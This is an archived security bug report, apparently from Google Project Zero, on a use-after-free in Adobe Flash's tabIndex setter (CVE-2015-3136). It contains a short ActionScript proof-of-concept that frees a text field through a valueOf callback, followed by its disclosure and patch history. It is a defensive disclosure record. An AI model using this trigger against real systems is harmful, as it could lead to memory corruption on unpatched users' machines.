Adobe Flash: Use-after-free in tabIndex setter

[GoogleCodeExporter]

There is a use-after-free issue in the tabIndex setter in both the Button and 
MovieClip class (this issue needs to be fixed both places). If the tabIndex is 
set, and then the number parameter has valueOf defined, it is possible to jump 
into script and free the Button or MovieClip before the tabIndex is set.

A proof-of-concept is as follows:

    _global.mc = this;

    var n = {valueOf: func};
    var test = this.createEmptyMovieClip("test", 1);
    test.tabIndex= n;

function func(){

    trace("here");
    //_global.mc.createEmptyMovieClip("test2", 1);
    var t = _global.mc.createTextField("test2", 1, 0, 0, 10, 10);
    trace(t);
    t.removeTextField();
    trace("here 2");
    return 7;

    }

A sample swf and fla is attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 14 May 2015 at 6:53

Attachments:

• settabs.swf
• settabs.fla

[GoogleCodeExporter]

Original comment by natashe...@google.com on 15 May 2015 at 9:21

• Added labels: Reported-2015-May-15
• Removed labels: Reported-2015-May-14

[GoogleCodeExporter]

This is PSIRT-3713

Original comment by natashe...@google.com on 18 May 2015 at 10:41

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:32

• Added labels: CVE-2015-3136

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 3 Aug 2015 at 9:43

• Removed labels: Restrict-View-Commit